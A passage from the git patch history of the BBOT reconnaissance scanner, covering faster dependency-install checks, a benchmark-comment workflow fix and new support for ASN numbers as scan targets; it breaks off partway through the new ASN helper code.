/Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 15:01:00,031 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 15:01:00,034 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 15:01:00,034 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 15:01:00,036 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 15:01:00,036 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 15:01:00,037 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 15:01:00,038 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 15:01:00,039 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 15:01:00,039 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 15:01:00,040 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 15:01:00,967 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 15:01:00,968 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-02-27 15:01:00,968 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 15:01:01,064 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 15:01:01,475 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 15:01:01,476 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 15:01:01,476 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 15:01:01,476 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 15:01:01,611 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 15:01:01,612 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 15:01:01,719 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 15:01:02,470 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-02-27 15:01:02,472 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down From 5537ce4833112f70bc794c0a7ba3379b0a07e5bc Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 27 Feb 2026 10:37:03 -0500 Subject: [PATCH 251/912] Fix install_core_deps running ansible on every test invocation openssl_dev_headers is not a real binary, so which() always fails, causing the full ansible playbook + ansible-galaxy collection install to run every time (~15s). Added _core_dep_satisfied() to check for the actual header file instead. Also deferred ansible/tldextract/sudo setup to only run when there's actually something to install. Reduces single module test time from ~17s to ~2s. --- bbot/core/helpers/depsinstaller/installer.py | 69 +++++++++++++------- 1 file changed, 44 insertions(+), 25 deletions(-) diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 93021093ac..6898c73590 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -460,6 +460,23 @@ def ensure_root(self, message=""): else: log.warning("Incorrect password") + def _core_dep_satisfied(self, command): + """Check if a core dependency is satisfied. + + For normal binary deps, check if the command exists on PATH. + For special entries like openssl_dev_headers, use a custom check. + """ + if command == "openssl_dev_headers": + # check for openssl headers by looking for the pkg-config file or header + return any( + Path(p).exists() + for p in [ + "/usr/include/openssl/ssl.h", + "/usr/local/include/openssl/ssl.h", + ] + ) or bool(self.parent_helper.which("openssl")) + return bool(self.parent_helper.which(command)) + async def install_core_deps(self): # skip if we've already successfully installed core deps for this definition core_deps_hash = str(mmh3.hash(orjson.dumps(self.CORE_DEPS, option=orjson.OPT_SORT_KEYS))) @@ -471,31 +488,15 @@ async def install_core_deps(self): to_install = set() to_install_friendly = set() playbook = [] - self._install_sudo_askpass() - # ensure tldextract data is cached - self.parent_helper.tldextract("evilcorp.co.uk") - # install any missing commands + # check which commands are missing for command, package_name_or_playbook in self.CORE_DEPS.items(): - if not self.parent_helper.which(command): - to_install_friendly.add(command) - if isinstance(package_name_or_playbook, str): - to_install.add(package_name_or_playbook) - else: - playbook.extend(package_name_or_playbook) - # install ansible community.general collection - overall_success = True - if not self.setup_status.get("ansible:community.general", False): - log.info("Installing Ansible Community General Collection") - try: - command = ["ansible-galaxy", "collection", "install", "community.general"] - await self.parent_helper.run(command, check=True) - self.setup_status["ansible:community.general"] = True - log.info("Successfully installed Ansible Community General Collection") - except CalledProcessError as err: - log.warning( - f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" - ) - overall_success = False + if self._core_dep_satisfied(command): + continue + to_install_friendly.add(command) + if isinstance(package_name_or_playbook, str): + to_install.add(package_name_or_playbook) + else: + playbook.extend(package_name_or_playbook) # construct ansible playbook if to_install: playbook.append( @@ -505,8 +506,26 @@ async def install_core_deps(self): "become": True, } ) - # run playbook + # only run ansible if there's actually something to install + overall_success = True if playbook: + self._install_sudo_askpass() + # ensure tldextract data is cached + self.parent_helper.tldextract("evilcorp.co.uk") + # install ansible community.general collection if needed + if not self.setup_status.get("ansible:community.general", False): + log.info("Installing Ansible Community General Collection") + try: + command = ["ansible-galaxy", "collection", "install", "community.general"] + await self.parent_helper.run(command, check=True) + self.setup_status["ansible:community.general"] = True + log.info("Successfully installed Ansible Community General Collection") + except CalledProcessError as err: + log.warning( + f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" + ) + overall_success = False + # run playbook log.info(f"Installing core BBOT dependencies: {','.join(sorted(to_install_friendly))}") self.ensure_root() success, _ = self.ansible_run(tasks=playbook) From 2a3900dcd7f6bcc36b1126a314cba32b74744392 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 27 Feb 2026 13:55:20 -0500 Subject: [PATCH 252/912] fix benchmark report: uv.lock conflict, duplicate comments, broken formatting - git clean before branch checkout to prevent uv.lock conflicts when switching between Poetry/UV branches - refactor comment posting so both success and failure paths search for existing comments before creating new ones - fix fallback message using template literal instead of .join('\\n') which produced literal \n characters instead of newlines --- .github/workflows/benchmark.yml | 116 +++++++++++++------------------ bbot/scripts/benchmark_report.py | 10 +-- 2 files changed, 56 insertions(+), 70 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index e283869d3a..0b6b94099f 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -68,100 +68,84 @@ jobs: script: | const fs = require('fs'); - try { - const report = fs.readFileSync('benchmark_report.md', 'utf8'); - - // Find existing benchmark comment (with pagination) + // Helper: find existing benchmark comments on this PR + async function findBenchmarkComments() { const comments = await github.rest.issues.listComments({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, - per_page: 100, // Get more comments per page + per_page: 100, }); - // Debug: log all comments to see what we're working with console.log(`Found ${comments.data.length} comments on this PR`); - comments.data.forEach((comment, index) => { - console.log(`Comment ${index}: user=${comment.user.login}, body preview="${comment.body.substring(0, 100)}..."`); - }); - const existingComments = comments.data.filter(comment => + const benchmarkComments = comments.data.filter(comment => comment.body.toLowerCase().includes('performance benchmark') && comment.user.login === 'github-actions[bot]' ); - console.log(`Found ${existingComments.length} existing benchmark comments`); + console.log(`Found ${benchmarkComments.length} existing benchmark comments`); + return benchmarkComments; + } - if (existingComments.length > 0) { - // Sort comments by creation date to find the most recent - const sortedComments = existingComments.sort((a, b) => + // Helper: post or update the benchmark comment + async function upsertComment(body) { + const existing = await findBenchmarkComments(); + + if (existing.length > 0) { + const sorted = existing.sort((a, b) => new Date(b.created_at) - new Date(a.created_at) ); - const mostRecentComment = sortedComments[0]; - console.log(`Updating most recent benchmark comment: ${mostRecentComment.id} (created: ${mostRecentComment.created_at})`); - await github.rest.issues.updateComment({ owner: context.repo.owner, repo: context.repo.repo, - comment_id: mostRecentComment.id, - body: report + comment_id: sorted[0].id, + body: body }); - console.log('Updated existing benchmark comment'); - - // Delete any older duplicate comments - if (existingComments.length > 1) { - console.log(`Deleting ${existingComments.length - 1} older duplicate comments`); - for (let i = 1; i < sortedComments.length; i++) { - const commentToDelete = sortedComments[i]; - console.log(`Attempting to delete comment ${commentToDelete.id} (created: ${commentToDelete.created_at})`); - - try { - await github.rest.issues.deleteComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: commentToDelete.id - }); - console.log(`Successfully deleted duplicate comment: ${commentToDelete.id}`); - } catch (error) { - console.error(`Failed to delete comment ${commentToDelete.id}: ${error.message}`); - console.error(`Error details:`, error); - } + console.log(`Updated benchmark comment: ${sorted[0].id}`); + + // Clean up older duplicates + for (let i = 1; i < sorted.length; i++) { + try { + await github.rest.issues.deleteComment({ + owner: context.repo.owner, + repo: context.repo.repo, + comment_id: sorted[i].id + }); + console.log(`Deleted duplicate comment: ${sorted[i].id}`); + } catch (e) { + console.error(`Failed to delete comment ${sorted[i].id}: ${e.message}`); } } } else { - // Create new comment await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, - body: report + body: body }); console.log('Created new benchmark comment'); } - } catch (error) { - console.error('Failed to post benchmark results:', error); - - // Post a fallback comment - const fallbackMessage = [ - '## Performance Benchmark Report', - '', - '> ⚠️ **Failed to generate detailed benchmark comparison**', - '> ', - '> The benchmark comparison failed to run. This might be because:', - '> - Benchmark tests don\'t exist on the base branch yet', - '> - Dependencies are missing', - '> - Test execution failed', - '> ', - '> Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details.', - '> ', - '> 📁 Benchmark artifacts may be available for download from the workflow run.' - ].join('\\n'); - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: fallbackMessage - }); } + + let report; + try { + report = fs.readFileSync('benchmark_report.md', 'utf8'); + } catch (e) { + console.error('Failed to read benchmark report:', e.message); + report = `## Performance Benchmark Report + + > **Failed to generate detailed benchmark comparison** + > + > The benchmark comparison failed to run. This might be because: + > - Benchmark tests don't exist on the base branch yet + > - Dependencies are missing + > - Test execution failed + > + > Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details. + > + > Benchmark artifacts may be available for download from the workflow run.`; + } + + await upsertComment(report); diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 5269a019aa..6f2eec407a 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -33,7 +33,12 @@ def get_current_branch() -> str: def checkout_branch(branch: str, repo_path: Path = None): - """Checkout a git branch.""" + """Checkout a git branch, cleaning up generated files first.""" + # Remove untracked files before checkout. Without this, files generated + # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry + # branch) block checkout to a branch that tracks those same files. + print(f"Cleaning untracked files before checkout") + run_command(["git", "clean", "-fd"], cwd=repo_path) print(f"Checking out branch: {branch}") run_command(["git", "checkout", branch], cwd=repo_path) @@ -380,9 +385,6 @@ def main(): base_data = {} current_data = {} - base_data = {} - current_data = {} - try: # Run benchmarks on base branch print(f"\n=== Running benchmarks on base branch: {args.base} ===") From 081586d52698623942041ffbf13733d94ae0d22b Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 27 Feb 2026 14:00:24 -0500 Subject: [PATCH 253/912] fix lint: remove extraneous f-string prefix --- bbot/scripts/benchmark_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 6f2eec407a..a96cdb5c85 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -37,7 +37,7 @@ def checkout_branch(branch: str, repo_path: Path = None): # Remove untracked files before checkout. Without this, files generated # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry # branch) block checkout to a branch that tracks those same files. - print(f"Cleaning untracked files before checkout") + print("Cleaning untracked files before checkout") run_command(["git", "clean", "-fd"], cwd=repo_path) print(f"Checking out branch: {branch}") run_command(["git", "checkout", branch], cwd=repo_path) From 344130e7e2cd180b8a5ef4702729a3bcb70122cf Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 27 Feb 2026 19:23:41 -0500 Subject: [PATCH 254/912] add ASN numbers as scan targets with async expansion via new ASN helper --- bbot/cli.py | 86 +++--- bbot/core/engine.py | 20 ++ bbot/core/event/base.py | 49 +++- bbot/core/event/helpers.py | 71 ++++- bbot/core/helpers/asn.py | 193 ++++++++++++ bbot/core/helpers/command.py | 2 +- bbot/core/helpers/depsinstaller/installer.py | 12 +- bbot/core/helpers/helper.py | 10 + bbot/core/helpers/misc.py | 109 +++++-- bbot/core/helpers/names_generator.py | 13 + bbot/core/helpers/simhash.py | 113 ++++++++ bbot/core/helpers/web/web.py | 5 +- bbot/core/modules.py | 5 +- bbot/modules/baddns.py | 28 +- bbot/modules/bypass403.py | 6 +- bbot/modules/generic_ssrf.py | 263 ----------------- bbot/modules/internal/speculate.py | 25 +- bbot/modules/output/stdout.py | 1 + bbot/modules/report/asn.py | 259 ++++------------- bbot/modules/sslcert.py | 6 +- bbot/modules/vhost.py | 129 --------- bbot/scanner/preset/args.py | 3 +- bbot/scanner/preset/preset.py | 28 +- bbot/scanner/scanner.py | 107 ++++--- bbot/scanner/target.py | 34 +++ bbot/test/bbot_fixtures.py | 11 +- bbot/test/conftest.py | 19 ++ bbot/test/test_step_1/test_bloom_filter.py | 1 + bbot/test/test_step_1/test_cli.py | 2 +- bbot/test/test_step_1/test_command.py | 3 +- bbot/test/test_step_1/test_config.py | 2 +- bbot/test/test_step_1/test_depsinstaller.py | 1 + bbot/test/test_step_1/test_dns.py | 17 ++ bbot/test/test_step_1/test_events.py | 20 +- bbot/test/test_step_1/test_files.py | 1 + bbot/test/test_step_1/test_helpers.py | 161 +++++++++- .../test_step_1/test_manager_deduplication.py | 11 + .../test_manager_scope_accuracy.py | 11 +- bbot/test/test_step_1/test_modules_basic.py | 14 +- bbot/test/test_step_1/test_presets.py | 25 +- bbot/test/test_step_1/test_python_api.py | 29 +- bbot/test/test_step_1/test_regexes.py | 3 + bbot/test/test_step_1/test_scan.py | 15 +- bbot/test/test_step_1/test_scope.py | 6 +- bbot/test/test_step_1/test_target.py | 228 +++++++++++++++ bbot/test/test_step_1/test_web.py | 13 + bbot/test/test_step_2/module_tests/base.py | 4 +- .../module_tests/test_module_affiliates.py | 2 +- .../module_tests/test_module_aggregate.py | 2 +- .../module_tests/test_module_asn.py | 274 ++++-------------- .../test_module_asset_inventory.py | 2 +- .../test_module_bucket_microsoft.py | 7 +- .../module_tests/test_module_c99.py | 4 +- .../module_tests/test_module_censys_ip.py | 48 +-- .../module_tests/test_module_dehashed.py | 4 +- .../module_tests/test_module_dotnetnuke.py | 19 +- .../module_tests/test_module_generic_ssrf.py | 90 ------ .../module_tests/test_module_github_org.py | 3 +- .../module_tests/test_module_host_header.py | 12 +- .../module_tests/test_module_lightfuzz.py | 11 +- .../module_tests/test_module_neo4j.py | 3 +- .../module_tests/test_module_nmap_xml.py | 10 +- .../module_tests/test_module_portfilter.py | 2 +- .../module_tests/test_module_shodan_dns.py | 2 + .../module_tests/test_module_shodan_idb.py | 2 +- .../module_tests/test_module_speculate.py | 55 +++- .../test_module_subdomainradar.py | 4 +- .../module_tests/test_module_vhost.py | 65 ----- .../test_template_subdomain_enum.py | 5 +- 69 files changed, 1561 insertions(+), 1239 deletions(-) create mode 100644 bbot/core/helpers/asn.py create mode 100644 bbot/core/helpers/simhash.py delete mode 100644 bbot/modules/generic_ssrf.py delete mode 100644 bbot/modules/vhost.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_vhost.py diff --git a/bbot/cli.py b/bbot/cli.py index 6f88447e1a..c5781453d8 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -7,7 +7,7 @@ from bbot.errors import * from bbot import __version__ from bbot.logger import log_to_stderr -from bbot.core.helpers.misc import chain_lists, rm_rf +from bbot.core.helpers.misc import chain_lists if multiprocessing.current_process().name == "MainProcess": @@ -56,6 +56,10 @@ async def _main(): return # ensure arguments (-c config options etc.) are valid options = preset.args.parsed + # apply CLI log level options (e.g. --debug/--verbose/--silent) to the + # global core logger even for CLI-only commands (like --install-all-deps) + # that don't construct a full Scanner. + preset.apply_log_level(apply_core=True) # print help if no arguments if len(sys.argv) == 1: @@ -90,7 +94,8 @@ async def _main(): preset._default_output_modules = options.output_modules preset._default_internal_modules = [] - preset.bake() + # Bake a temporary copy of the preset so that flags correctly enable their associated modules before listing them + preset = preset.bake() # --list-modules if options.list_modules: @@ -144,14 +149,28 @@ async def _main(): print(row) return - try: - scan = Scanner(preset=preset) - except (PresetAbortError, ValidationError) as e: - log.warning(str(e)) + baked_preset = preset.bake() + + # --current-preset / --current-preset-full + if options.current_preset or options.current_preset_full: + # Ensure we always have a human-friendly description. Prefer an + # explicit scan_name if present, otherwise fall back to the + # preset name (e.g. "bbot_cli_main"). + if not baked_preset.description: + if baked_preset.scan_name: + baked_preset.description = str(baked_preset.scan_name) + elif baked_preset.name: + baked_preset.description = str(baked_preset.name) + if options.current_preset_full: + print(baked_preset.to_yaml(full_config=True)) + else: + print(baked_preset.to_yaml()) + sys.exit(0) return + # deadly modules (no scan required yet) deadly_modules = [ - m for m in scan.preset.scan_modules if "deadly" in preset.preloaded_module(m).get("flags", []) + m for m in baked_preset.scan_modules if "deadly" in baked_preset.preloaded_module(m).get("flags", []) ] if deadly_modules and not options.allow_deadly: log.hugewarning(f"You enabled the following deadly modules: {','.join(deadly_modules)}") @@ -159,44 +178,38 @@ async def _main(): log.hugewarning("Please specify --allow-deadly to continue") return False - # --current-preset - if options.current_preset: - print(scan.preset.to_yaml()) - sys.exit(0) - return - - # --current-preset-full - if options.current_preset_full: - print(scan.preset.to_yaml(full_config=True)) - sys.exit(0) + try: + scan = Scanner(preset=baked_preset) + except (PresetAbortError, ValidationError) as e: + log.warning(str(e)) return # --install-all-deps if options.install_all_deps: + # create a throwaway Scanner solely so that Preset.bake(scan) can perform find_and_replace() on all module configs so that placeholders like "#{BBOT_TOOLS}" are resolved before running Ansible tasks. + from bbot.scanner import Scanner as _ScannerForDeps + preloaded_modules = preset.module_loader.preloaded() - scan_modules = [k for k, v in preloaded_modules.items() if str(v.get("type", "")) == "scan"] - output_modules = [k for k, v in preloaded_modules.items() if str(v.get("type", "")) == "output"] - log.verbose("Creating dummy scan with all modules + output modules for deps installation") - dummy_scan = Scanner(preset=preset, modules=scan_modules, output_modules=output_modules) - dummy_scan.helpers.depsinstaller.force_deps = True + modules_for_deps = [ + k for k, v in preloaded_modules.items() if str(v.get("type", "")) in ("scan", "output") + ] + + # dummy scan used only for environment preparation + dummy_scan = _ScannerForDeps(preset=preset) + + helper = dummy_scan.helpers log.info("Installing module dependencies") - await dummy_scan.load_modules() - log.verbose("Running module setups") - succeeded, hard_failed, soft_failed = await dummy_scan.setup_modules(deps_only=True) - # remove any leftovers from the dummy scan - rm_rf(dummy_scan.home, ignore_errors=True) - rm_rf(dummy_scan.temp_dir, ignore_errors=True) + succeeded, failed = await helper.depsinstaller.install(*modules_for_deps) if succeeded: log.success( f"Successfully installed dependencies for {len(succeeded):,} modules: {','.join(succeeded)}" ) - if soft_failed or hard_failed: - failed = soft_failed + hard_failed + if failed: log.warning(f"Failed to install dependencies for {len(failed):,} modules: {', '.join(failed)}") return False return True - scan_name = str(scan.name) + await scan._prep() log.verbose("") log.verbose("### MODULES ENABLED ###") @@ -205,12 +218,19 @@ async def _main(): log.verbose(row) scan.helpers.word_cloud.load() - await scan._prep() + + scan_name = str(scan.name) if not options.dry_run: log.trace(f"Command: {' '.join(sys.argv)}") - if sys.stdin.isatty(): + # In some environments (e.g. tests) stdin may be closed or not support isatty(). Treat those cases as non-interactive. + try: + stdin_is_tty = sys.stdin.isatty() + except (ValueError, io.UnsupportedOperation): + stdin_is_tty = False + + if stdin_is_tty: # warn if any targets belong directly to a cloud provider if not scan.preset.strict_scope: for event in scan.target.seeds.event_seeds: diff --git a/bbot/core/engine.py b/bbot/core/engine.py index d7c821a333..7a33f0da71 100644 --- a/bbot/core/engine.py +++ b/bbot/core/engine.py @@ -343,6 +343,26 @@ async def shutdown(self): self.context.term() except Exception: print(traceback.format_exc(), file=sys.stderr) + # terminate the server process/thread + if self._server_process is not None: + try: + self._server_process.join(timeout=5) + if self._server_process.is_alive(): + # threads don't have terminate/kill, only processes do + terminate = getattr(self._server_process, "terminate", None) + if callable(terminate): + terminate() + self._server_process.join(timeout=3) + if self._server_process.is_alive(): + kill = getattr(self._server_process, "kill", None) + if callable(kill): + kill() + except Exception: + with suppress(Exception): + kill = getattr(self._server_process, "kill", None) + if callable(kill): + kill() + self._server_process = None # delete socket file on exit self.socket_path.unlink(missing_ok=True) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4789fe43f3..11b89e21b3 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -605,7 +605,7 @@ def parent(self, parent): self.web_spider_distance = getattr(parent, "web_spider_distance", 0) event_has_url = getattr(self, "parsed_url", None) is not None for t in parent.tags: - if t in ("affiliate",): + if t in ("affiliate"): self.add_tag(t) elif t.startswith("mutation-"): self.add_tag(t) @@ -1129,6 +1129,41 @@ class ASN(DictEvent): _always_emit = True _quick_emit = True + def sanitize_data(self, data): + if not isinstance(data, int): + raise ValidationError(f"ASN number must be an integer: {data}") + return data + + def _data_human(self): + """Create a concise human-readable representation of ASN data.""" + # Start with basic ASN info + display_data = {"asn": str(self.data)} + + # Try to get additional ASN data from the helper if available + if hasattr(self, "scan") and self.scan and hasattr(self.scan, "helpers"): + try: + # Check if we can access the ASN helper synchronously + asn_helper = self.scan.helpers.asn + # Try to get cached data first (this should be synchronous) + cached_data = asn_helper._cache_lookup_asn(self.data) + if cached_data: + display_data.update( + { + "name": cached_data.get("name", ""), + "description": cached_data.get("description", ""), + "country": cached_data.get("country", ""), + } + ) + # Replace subnets list with count for readability + subnets = cached_data.get("subnets", []) + if subnets and isinstance(subnets, list): + display_data["subnet_count"] = len(subnets) + except Exception: + # If anything fails, just return basic ASN info + pass + + return json.dumps(display_data, sort_keys=True) + class CODE_REPOSITORY(DictHostEvent): _always_emit = True @@ -1617,18 +1652,6 @@ def _pretty_string(self): return self.data["technology"] -class VHOST(DictHostEvent): - class _data_validator(BaseModel): - host: str - vhost: str - url: Optional[str] = None - _validate_url = field_validator("url")(validators.validate_url) - _validate_host = field_validator("host")(validators.validate_host) - - def _pretty_string(self): - return self.data["vhost"] - - class PROTOCOL(DictHostEvent): class _data_validator(BaseModel): host: str diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 524eccbcd8..c366bcaaad 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -9,6 +9,20 @@ bbot_event_seeds = {} +# Pre-compute sorted event classes for performance +# This is computed once when the module is loaded instead of on every EventSeed() call +def _get_sorted_event_classes(): + """ + Sort event classes by priority (higher priority first). + This ensures specific patterns like ASN:12345 are checked before broad patterns like hostname:port. + """ + return sorted(bbot_event_seeds.items(), key=lambda x: getattr(x[1], "priority", 5), reverse=True) + + +# This will be populated after all event seed classes are registered +_sorted_event_classes = None + + """ An "Event Seed" is a lightweight event containing only the minimum logic required to: - parse input to determine the event type + data @@ -18,6 +32,19 @@ It's useful for quickly parsing target lists without the cpu+memory overhead of creating full-fledged BBOT events Not every type of BBOT event needs to be represented here. Only ones that are meant to be targets. + +PRIORITY SYSTEM: +Event seeds support a priority system to control the order in which regex patterns are checked. +This prevents conflicts where one event type's regex might incorrectly match another type's input. + +Priority values: +- Higher numbers = checked first +- Default priority = 5 +- Range: 1-10 + +To set priority on an event seed class: + class MyEventSeed(BaseEventSeed): + priority = 8 # Higher than default, will be checked before most others """ @@ -27,17 +54,25 @@ class EventSeedRegistry(type): """ def __new__(mcs, name, bases, attrs): - global bbot_event_seeds + global bbot_event_seeds, _sorted_event_classes cls = super().__new__(mcs, name, bases, attrs) # Don't register the base EventSeed class if name != "BaseEventSeed": bbot_event_seeds[cls.__name__] = cls + # Recompute sorted classes whenever a new event seed is registered + _sorted_event_classes = _get_sorted_event_classes() return cls def EventSeed(input): input = smart_encode_punycode(smart_decode(input).strip()) - for _, event_class in bbot_event_seeds.items(): + + # Use pre-computed sorted event classes for better performance + global _sorted_event_classes + if _sorted_event_classes is None: + _sorted_event_classes = _get_sorted_event_classes() + + for _, event_class in _sorted_event_classes: if hasattr(event_class, "precheck"): if event_class.precheck(input): return event_class(input) @@ -53,6 +88,7 @@ def EventSeed(input): class BaseEventSeed(metaclass=EventSeedRegistry): regexes = [] _target_type = "TARGET" + priority = 5 # Default priority for event seed matching (1-10, higher = checked first) __slots__ = ["data", "host", "port", "input"] @@ -76,6 +112,9 @@ def _sanitize_and_extract_host(self, data): """ return data, None, None + async def _generate_children(self, helpers): + return [] + def _override_input(self, input): return self.data @@ -143,6 +182,7 @@ def _sanitize_and_extract_host(data): class OPEN_TCP_PORT(BaseEventSeed): regexes = regexes.event_type_regexes["OPEN_TCP_PORT"] + priority = 1 # Low priority: broad hostname:port pattern should be checked after specific patterns @staticmethod def _sanitize_and_extract_host(data): @@ -236,3 +276,30 @@ def _override_input(self, input): @staticmethod def handle_match(match): return match.group(1) + + +class ASN(BaseEventSeed): + regexes = (re.compile(r"^(?:ASN|AS):?(\d+)$", re.I),) # adjust regex to match ASN:17178 AS17178 + priority = 10 # High priority + + def _override_input(self, input): + return f"ASN:{self.data}" + + # ASNs are essentially just a superset of IP_RANGES. + # This method resolves the ASN to a list of IP_RANGES using the ASN API, and then adds the cidr string as a child event seed. + # These will later be automatically resolved to an IP_RANGE event seed and added to the target. + async def _generate_children(self, helpers): + asn_data = await helpers.asn.asn_to_subnets(int(self.data)) + children = [] + if asn_data: + subnets = asn_data.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + children.append(cidr) + return children + + @staticmethod + def handle_match(match): + return match.group(1) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py new file mode 100644 index 0000000000..299def76d4 --- /dev/null +++ b/bbot/core/helpers/asn.py @@ -0,0 +1,193 @@ +import ipaddress +import logging +import asyncio +from radixtarget.tree.ip import IPRadixTree +from cachetools import LRUCache + +log = logging.getLogger("bbot.core.helpers.asn") + + +class ASNHelper: + asndb_ip_url = "https://asndb.api.bbot.io/v1/ip/" + asndb_asn_url = "https://asndb.api.bbot.io/v1/asn/" + + def __init__(self, parent_helper): + self.parent_helper = parent_helper + # IP radix trees (authoritative store) – IPv4 and IPv6 + self._tree4: IPRadixTree = IPRadixTree() + self._tree6: IPRadixTree = IPRadixTree() + # LRU caches with reasonable limits to prevent unbounded memory growth + # ASN cache (ASN ID -> data mapping) + self._asn_to_data_cache: LRUCache = LRUCache(maxsize=5000) # Cache ASN records + + # Default record used when no ASN data can be found + UNKNOWN_ASN = { + "asn": "0", + "subnets": [], + "name": "unknown", + "description": "unknown", + "country": "unknown", + } + + async def _request_with_retry(self, url, max_retries=10): + """Make request with retry for 429 responses using Retry-After header.""" + for attempt in range(max_retries + 1): + response = await self.parent_helper.request(url, timeout=15) + if response is None or getattr(response, "status_code", 0) == 200: + log.debug(f"ASN API request successful, status code: {getattr(response, 'status_code', 0)}") + return response + + elif getattr(response, "status_code", 0) == 429: + if attempt < max_retries: + attempt += 1 + # Get retry-after header value, default to 1 second if not present + retry_after = getattr(response, "headers", {}).get("retry-after", "10") + delay = int(retry_after) + log.verbose( + f"ASN API rate limited, waiting {delay}s (retry-after: {retry_after}) (attempt {attempt})" + ) + await asyncio.sleep(delay) + else: + log.warning(f"ASN API gave up after {max_retries + 1} attempts due to repeatedrate limiting") + elif getattr(response, "status_code", 0) == 404: + log.debug(f"ASN API returned 404 for {url}") + return None + else: + log.warning( + f"Got unexpected status code: {getattr(response, 'status_code', 0)} from ASN DB api ({url})" + ) + return None + + return response + + async def _query_api(self, identifier, url_base, processor_method): + """Common API query method that handles request/response pattern.""" + url = f"{url_base}{identifier}" + response = await self._request_with_retry(url) + if response is None: + log.warning(f"ASN DB API: no response for {identifier}") + return None + + status = getattr(response, "status_code", 0) + if status != 200: + return None + + try: + raw = response.json() + except Exception as e: + log.warning(f"ASN DB API: JSON decode error for {identifier}: {e}") + return None + + if isinstance(raw, dict): + return processor_method(raw, identifier) + + log.warning(f"ASN DB API: returned unexpected format for {identifier}: {raw}") + return None + + def _build_asn_record(self, raw, subnets): + """Build standardized ASN record from API response.""" + return { + "asn": str(raw.get("asn", "")), + "subnets": subnets, + "name": raw.get("asn_name") or "", + "description": raw.get("org") or "", + "country": raw.get("country") or "", + } + + async def asn_to_subnets(self, asn): + """Return 